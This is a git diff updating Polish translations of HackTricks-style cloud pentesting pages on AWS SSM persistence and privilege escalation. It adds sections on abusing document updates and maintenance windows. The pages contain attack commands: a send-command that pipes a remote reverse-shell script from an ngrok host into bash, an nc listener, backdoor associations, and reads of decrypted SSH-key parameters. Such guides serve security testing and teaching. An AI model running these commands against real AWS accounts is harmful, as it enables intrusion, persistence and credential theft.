diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md index 33d451f39..5d95d8f5d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -4,15 +4,15 @@ ## SSM -Aby uzyskać więcej informacji, zobacz: +Więcej informacji sprawdź: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md {{#endref}} -### Użycie ssm:CreateAssociation for persistence +### Using ssm:CreateAssociation for persistence -Atakujący z uprawnieniem **`ssm:CreateAssociation`** może utworzyć State Manager Association, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Te associations można skonfigurować tak, by uruchamiały się w stałych odstępach czasu, co czyni je odpowiednimi do backdoor-like persistence bez interaktywnych sesji. +Atakujący z uprawnieniem **`ssm:CreateAssociation`** może utworzyć State Manager Association, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Te associations mogą być skonfigurowane tak, aby działały w stałym interwale, co czyni je odpowiednimi do persistence w stylu backdoor bez interaktywnych sesji. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -22,6 +22,56 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Ta metoda utrzymywania dostępu działa tak długo, jak instancja EC2 jest zarządzana przez Systems Manager, SSM agent działa, a atakujący ma uprawnienia do tworzenia associations. Nie wymaga interaktywnych sesji ani jawnych uprawnień ssm:SendCommand. **Ważne:** parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny odstęp AWS wynoszący 30 minut. Dla natychmiastowego lub jednorazowego wykonania pomiń całkowicie `--schedule-expression` — association wykona się raz po utworzeniu. +> Ta metoda persistence działa tak długo, jak instancja EC2 jest zarządzana przez Systems Manager, agent SSM jest uruchomiony, a atakujący ma uprawnienie do tworzenia associations. Nie wymaga interaktywnych sesji ani jawnych uprawnień `ssm:SendCommand`. **Important:** parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minut. Do natychmiastowego lub jednorazowego wykonania pomiń `--schedule-expression` całkowicie — association wykona się raz po utworzeniu. + +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +Atakujący z uprawnieniami **`ssm:UpdateDocument`** i **`ssm:UpdateDocumentDefaultVersion`** może eskalować privileges, modyfikując istniejące documents. Umożliwia to również persistence w obrębie tego document. W praktyce atakujący będzie też potrzebował **`ssm:ListDocuments`**, aby pobrać nazwy custom documents, a jeśli atakujący chce obfuskować swój payload wewnątrz istniejącego document, **`ssm:GetDocument`** będzie również konieczne. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Poniżej znajduje się przykładowy dokument, który można użyć do nadpisania istniejącego dokumentu. Będziesz chciał upewnić się, że typ dokumentu pasuje do typu docelowych dokumentów, aby uniknąć problemów z invokation. Poniższy dokument na przykład będzie **`ssm:SendCommand`** i **`ssm:CreateAssociation`** examples. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +Atakujący z uprawnieniami **`ssm:RegisterTaskWithMaintenanceWindow`** oraz **`ssm:RegisterTargetWithMaintenanceWindow`** może eskalować uprawnienia, najpierw rejestrując nowy target w istniejącym maintenance window, a następnie aktualizując, rejestrując nowe zadanie. Daje to możliwość wykonania na istniejących targetach, ale może też pozwolić atakującemu skompromitować compute z różnymi rolami przez rejestrowanie nowych targetów. To umożliwia również persistence, ponieważ tasks maintenance windows są wykonywane w z góry określonym interwale podczas tworzenia window. W praktyce atakujący potrzebowałby także **`ssm:DescribeMaintenanceWindows`**, aby uzyskać ID maintenance window. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md index 5570cf225..dbf160701 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md @@ -4,7 +4,7 @@ ## SSM -Więcej informacji o SSM: +Po więcej informacji o SSM sprawdź: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,7 +12,7 @@ Więcej informacji o SSM: ### `ssm:SendCommand` -Atakujący posiadający uprawnienie **`ssm:SendCommand`** może **wykonać polecenia na instancjach** uruchamiających Amazon SSM Agent i **skompromitować IAM Role** działającą w nich. +Atakujący z uprawnieniem **`ssm:SendCommand`** może **wykonywać komendy na instancjach** uruchamiających Amazon SSM Agent i **skompromitować IAM Role** działającą w ich wnętrzu. ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -Jeśli używasz tej techniki do eskalacji uprawnień wewnątrz już skompromitowanej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą: +Jeśli używasz tej techniki do eskalacji uprawnień wewnątrz już przejętej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash" ``` -**Potencjalny wpływ:** Bezpośrednie privesc do EC2 IAM roles przypisanych do uruchomionych instancji z działającymi SSM Agents. +**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running. ### `ssm:StartSession` -Atakujący posiadający uprawnienie **`ssm:StartSession`** może **rozpocząć sesję podobną do SSH na instancjach** uruchamiających Amazon SSM Agent i **przejąć IAM Role** działającą wewnątrz niej. +An attacker with the permission **`ssm:StartSession`** can **rozpocząć sesję podobną do SSH na instancjach** uruchamiających Amazon SSM Agent i **przejąć IAM Role** działającą w ich wnętrzu. ```bash # Check for configured instances aws ssm describe-instance-information @@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active aws ssm start-session --target "$INSTANCE_ID" ``` > [!CAUTION] -> Aby rozpocząć sesję musisz mieć zainstalowany **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) +> Aby rozpocząć sesję, musisz mieć zainstalowany **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html) -**Potential Impact:** Direct privesc do EC2 IAM roles przypisanych do uruchomionych instancji z działającymi SSM Agents. +**Potential Impact:** Bezpośredni privesc do ról EC2 IAM podłączonych do działających instances z uruchomionymi SSM Agents. #### Privesc to ECS -Kiedy **ECS tasks** działają z włączonym **`ExecuteCommand`**, użytkownicy z odpowiednimi uprawnieniami mogą użyć `ecs execute-command`, aby **wykonać polecenie** wewnątrz kontenera.\ -Zgodnie z [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) odbywa się to przez utworzenie bezpiecznego kanału pomiędzy urządzeniem, którego używasz do zainicjowania polecenia „_exec_”, a docelowym kontenerem za pomocą SSM Session Manager. (SSM Session Manager Plugin wymagany do działania)\ -W związku z tym użytkownicy z `ssm:StartSession` będą mogli **get a shell inside ECS tasks** z tą opcją włączoną, po prostu uruchamiając: +Gdy **ECS tasks** działają z włączonym **`ExecuteCommand`**, users z wystarczającymi permissions mogą użyć `ecs execute-command`, aby **execute a command** wewnątrz kontenera.\ +Zgodnie z [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) odbywa się to przez utworzenie secure channel między device używanym do zainicjowania polecenia “_exec_“ a docelowym kontenerem za pomocą SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\ +Dlatego users z `ssm:StartSession` będą mogli **get a shell inside ECS tasks** z włączoną tą opcją, po prostu uruchamiając: ```bash aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID" ``` ![](<../../../images/image (185).png>) -**Potencjalny wpływ:** Bezpośrednie privesc do `ECS`IAM roles przypisanych do działających zadań z włączonym `ExecuteCommand`. +**Potential Impact:** Bezpośredni privesc do ról `ECS`IAM dołączonych do działających zadań z włączonym `ExecuteCommand`. ### `ssm:ResumeSession` -Atakujący posiadający uprawnienie **`ssm:ResumeSession`** może ponownie **rozpocząć sesję podobną do SSH na instancjach** uruchamiających Amazon SSM Agent z **rozłączonym** stanem sesji SSM i **skompromitować IAM Role** działającą w jej wnętrzu. +Atakujący z uprawnieniem **`ssm:ResumeSession`** może ponownie **uruchomić sesję podobną do SSH na instancjach** uruchamiających Amazon SSM Agent z **odłączonym** stanem sesji SSM i **skompromitować IAM Role** działającą w jej obrębie. ```bash # Check for configured instances aws ssm describe-sessions @@ -72,30 +72,30 @@ aws ssm describe-sessions aws ssm resume-session \ --session-id Mary-Major-07a16060613c408b5 ``` -**Potencjalny wpływ:** Bezpośredni privesc do EC2 IAM roles przypisanych do uruchomionych instancji z uruchomionymi SSM Agents i rozłączonymi sesjami. +**Potencjalny wpływ:** Bezpośrednie privesc do ról EC2 IAM dołączonych do uruchomionych instancji z działającymi SSM Agents i rozłączonymi sesjami. ### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`) -Atakujący posiadający wymienione uprawnienia będzie mógł wylistować **SSM parameters** i **read them in clear-text**. W tych parametrach często można **znaleźć wrażliwe informacje**, takie jak SSH keys lub API keys. +Atakujący z wymienionymi uprawnieniami będzie w stanie wylistować **parametry SSM** i **odczytać je w clear-text**. W tych parametrach często można **znaleźć wrażliwe informacje** takie jak klucze SSH lub klucze API. ```bash aws ssm describe-parameters # Suppose that you found a parameter called "id_rsa" aws ssm get-parameters --names id_rsa --with-decryption aws ssm get-parameter --name id_rsa --with-decryption ``` -**Potencjalny wpływ:** Znalezienie wrażliwych informacji w parametrach. +**Potencjalny wpływ:** Znajdź wrażliwe informacje w parametrach. ### `ssm:ListCommands` -Atakujący posiadający to uprawnienie może wyświetlić listę wszystkich wysłanych **commands** i — miejmy nadzieję — znaleźć na nich **wrażliwe informacje**. +Atakujący z tym uprawnieniem może wyświetlić wszystkie wysłane **commands** i miejmy nadzieję znaleźć w nich **wrażliwe informacje**. ``` aws ssm list-commands ``` -**Potencjalny wpływ:** Odkrycie wrażliwych informacji w treści linii poleceń. +**Potencjalny wpływ:** Znajdź wrażliwe informacje w liniach poleceń. ### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`) -Atakujący posiadający te uprawnienia może wylistować wszystkie wysłane **polecenia** oraz **odczytać wygenerowane wyjście**, mając nadzieję znaleźć w nim **wrażliwe informacje**. +Atakujący z tymi uprawnieniami może wylistować wszystkie wysłane **commands** i **odczytać output**, generowanym przez nie, mając nadzieję na znalezienie w nim **wrażliwych informacji**. ```bash # You can use any of both options to get the command-id and instance id aws ssm list-commands @@ -103,11 +103,11 @@ aws ssm list-command-invocations aws ssm get-command-invocation --command-id --instance-id ``` -**Potencjalny wpływ:** Możliwość znalezienia wrażliwych informacji w wyjściu poleceń. +**Potencjalny wpływ:** Znajdź wrażliwe informacje w output komend. -### Korzystanie z ssm:CreateAssociation +### Using ssm:CreateAssociation -Atakujący posiadający uprawnienie **`ssm:CreateAssociation`** może utworzyć State Manager Association, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Takie State Manager Association można skonfigurować tak, aby były uruchamiane w stałych odstępach czasu, co czyni je odpowiednimi do backdoor-like persistence bez interaktywnych sesji. +Atakujący z uprawnieniem **`ssm:CreateAssociation`** może utworzyć State Manager Association, aby automatycznie wykonywać komendy na instancjach EC2 zarządzanych przez SSM. Te associations mogą być skonfigurowane do uruchamiania w stałych odstępach czasu, co czyni je odpowiednimi do persistence podobnego do backdoor bez interaktywnych sesji. ```bash aws ssm create-association \ --name SSM-Document-Name \ @@ -117,11 +117,60 @@ aws ssm create-association \ --association-name association-name ``` > [!NOTE] -> Ta metoda utrzymywania dostępu działa dopóki instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a atakujący ma uprawnienia do tworzenia associations. Nie wymaga sesji interaktywnych ani jawnych uprawnień ssm:SendCommand. **Ważne:** parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minut. Dla natychmiastowego lub jednorazowego wykonania pomiń całkowicie `--schedule-expression` — association wykona się raz po utworzeniu. +> Ta metoda persistence działa tak długo, jak instancja EC2 jest zarządzana przez Systems Manager, agent SSM działa, a attacker ma permission do tworzenia associations. Nie wymaga sesji interaktywnych ani jawnych uprawnień `ssm:SendCommand`. **Important:** parametr `--schedule-expression` (np. `rate(30 minutes)`) musi respektować minimalny interwał AWS wynoszący 30 minutes. Aby wykonać to natychmiast lub jednorazowo, całkowicie pomiń `--schedule-expression` — association wykona się raz po utworzeniu. +### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`) + +Attacker z permissions **`ssm:UpdateDocument`** i **`ssm:UpdateDocumentDefaultVersion`** może eskalować privileges przez modyfikowanie istniejących documents. Pozwala to także na persistence w ramach tego document. W praktyce attacker potrzebowałby również **`ssm:ListDocuments`**, aby uzyskać nazwy custom documents, a jeśli attacker chce obfuskować swój payload w istniejącym document, **`ssm:GetDocument`** będzie również konieczne. +```bash +aws ssm list-documents +aws ssm get-document --name "target-document" --document-format YAML +# You will need to specify the version you're updating +aws ssm update-document \ +--name "target-document" \ +--document-format YAML \ +--content "file://doc.yaml" \ +--document-version 1 +aws ssm update-document-default-version --name "target-document" --document-version 2 +``` +Poniżej znajduje się przykładowy dokument, którego można użyć do nadpisania istniejącego dokumentu. Będziesz chciał upewnić się, że typ Twojego dokumentu pasuje do typu docelowych dokumentów, aby uniknąć problemów z invokation. Poniższy dokument obejmuje na przykład przykłady **`ssm:SendCommand`** i **`ssm:CreateAssociation`**. +```yaml +schemaVersion: '2.2' +description: Execute commands on a Linux instance. +parameters: +commands: +type: StringList +description: "The commands to run." +displayType: textarea +mainSteps: +- action: aws:runShellScript +name: runCommands +inputs: +runCommand: +- "id > /tmp/pwn_test.txt" +``` +### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`) + +Atakujący z uprawnieniami **`ssm:RegisterTaskWithMaintenanceWindow`** oraz **`ssm:RegisterTargetWithMaintenanceWindow`** może eskalować uprawnienia, najpierw rejestrując nowy target z istniejącym maintenance window, a następnie aktualizując, rejestrując nowe task. Daje to execution na istniejących target, ale może pozwolić atakującemu skompromitować compute z różnymi roles przez zarejestrowanie nowych target. To także umożliwia persistence, ponieważ maintenance windows task są wykonywane w z góry zdefiniowanych odstępach czasu podczas tworzenia window. W praktyce atakujący potrzebowałby też **`ssm:DescribeMaintenanceWindows`**, aby uzyskać ID maintenance window. +``` bash +aws ec2 describe-instances +aws ssm describe-maintenance-window +aws ssm register-target-with-maintenance-window \ +--window-id "" \ +--resource-type "INSTANCE" \ +--targets "Key=InstanceIds,Values=" +aws ssm register-task-with-maintenance-window \ +--window-id "" \ +--task-arn "AWS-RunShellScript" \ +--task-type "RUN_COMMAND" \ +--targets "Key=WindowTargetIds,Values=" \ +--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \ +--max-concurrency 50 \ +--max-errors 100 +``` ### Codebuild -Możesz też użyć SSM, aby dostać się do projektu codebuild podczas jego budowania: +Możesz także użyć SSM, aby dostać się do kodu projektu codebuild będącego w trakcie budowania: {{#ref}} ../aws-codebuild-privesc/README.md